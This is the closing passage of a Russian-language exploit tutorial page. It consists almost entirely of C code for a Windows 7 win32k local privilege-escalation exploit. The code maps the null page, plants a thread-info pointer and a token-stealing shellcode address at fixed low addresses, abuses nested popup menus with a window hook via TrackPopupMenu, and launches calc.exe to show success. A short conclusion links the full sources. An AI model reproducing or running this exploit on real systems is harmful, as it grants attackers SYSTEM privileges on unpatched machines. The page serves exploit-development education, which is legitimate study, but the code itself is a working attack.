PAGE_EXECUTE_READWRITE

);
if (tmp != (NTSTATUS)0x0) {

printf("Failed to allocate null page.\n");

return;

}

DWORD pti = GetPTI();

if (pti == NULL) {

printf("Failed to find the Win32ThreadInfo structure for the current
thread.\n");

return;

}

//create a pointer to 0x3 where we want to place the Win32ThreadInfo pointer and
then place the pointer in memory.

void* pti_loc = (void *) 0x3;

void* check_loc = (void *)0x11;

void* shellcode_loc = (void *)0x5b;

*(LPDWORD)pti_loc = pti;

*(LPBYTE) check_loc = 0x4;

*(LPDWORD)shellcode_loc = (DWORD)TokenStealingShellcodeWin7;

WNDCLASSA wnd_class = { 0 };

//Our custome WndProc handler, inspects any window messages before passing then onto
the default handler

wnd_class.lpfnWndProc = WndProc;

//Returns a handle to the executable that has the name passed to it, passing NULL
means it returns a handle to this executable

wnd_class.hInstance = GetModuleHandle(NULL);

//Random classname - we reference this later when creating a Window of this class

wnd_class.lpszClassName = "abcde";

//Registers the class in the global scope so it can be refered too later.

ATOM reg = RegisterClassA(&wnd_class);

if (reg == NULL){

printf("Failed to register window class.\n");

return;

}

HWND main_wnd = CreateWindowA(wnd_class.lpszClassName, "", WS_OVERLAPPEDWINDOW |
WS_VISIBLE, 0, 0, 640, 480, NULL, NULL, wnd_class.hInstance, NULL);

if (main_wnd == NULL){

printf("Failed to create window instance.\n");

return;

}

//Creates an empty popup menu

HMENU MenuOne = CreatePopupMenu();

if (MenuOne == NULL){

printf("Failed to create popup menu one.\n");

return;

}

MENUITEMINFOA MenuOneInfo = { 0 };

//Default size

MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);

//Selects what properties to retrieve or set when GetMenuItemInfo/SetMenuItemInfo
are called, in this case only dwTypeData which the contents of the menu item.

MenuOneInfo.fMask = MIIM_STRING;

BOOL insertMenuItem = InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo);

if (!insertMenuItem){

printf("Failed to insert popup menu one.\n");

DestroyMenu(MenuOne);

return;

}

HMENU MenuTwo = CreatePopupMenu();

if (MenuTwo == NULL){

printf("Failed to create menu two.\n");

DestroyMenu(MenuOne);

return;

}

MENUITEMINFOA MenuTwoInfo = { 0 };

MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);

//On this window hSubMenu should be included in Get/SetMenuItemInfo

MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);

//The menu is a sub menu of the first menu

MenuTwoInfo.hSubMenu = MenuOne;

MenuTwoInfo.dwTypeData = "";

MenuTwoInfo.cch = 1;

insertMenuItem = InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo);

if (!insertMenuItem){

printf("Failed to insert second pop-up menu.\n");

DestroyMenu(MenuOne);

DestroyMenu(MenuTwo);

return;

}

HHOOK setWindowsHook = SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL,
GetCurrentThreadId());

if (setWindowsHook == NULL){

printf("Failed to insert call back one.\n");

DestroyMenu(MenuOne);

DestroyMenu(MenuTwo);

return;
}

TrackPopupMenu(

MenuTwo, //Handle to the menu we want to display, for us it’s the submenu we
just created.

0, //Options on how the menu is aligned, what clicks are allowed etc

0, //Horizontal position - left hand side

0, //Vertical position - Top edge

0, //Reserved field, has to be 0

main_wnd, //Handle to the Window which owns the menu

NULL //This value is always ignored...

);

//tidy up the screen

DestroyWindow(main_wnd);

system("calc.exe");

}


1.5 Заключение

Компилируем и запускаем обновленный код:

sam-6.png


Рисунок 6: По факту успешного выполнения кода запущен калькулятор

Полная версия исходников доступна здесь.
Автор
adammi
Просмотры
942
Первый выпуск
Обновление
Рейтинг
0.00 звёзд Оценок: 0

Ещё ресурсы от adammi

Верх Низ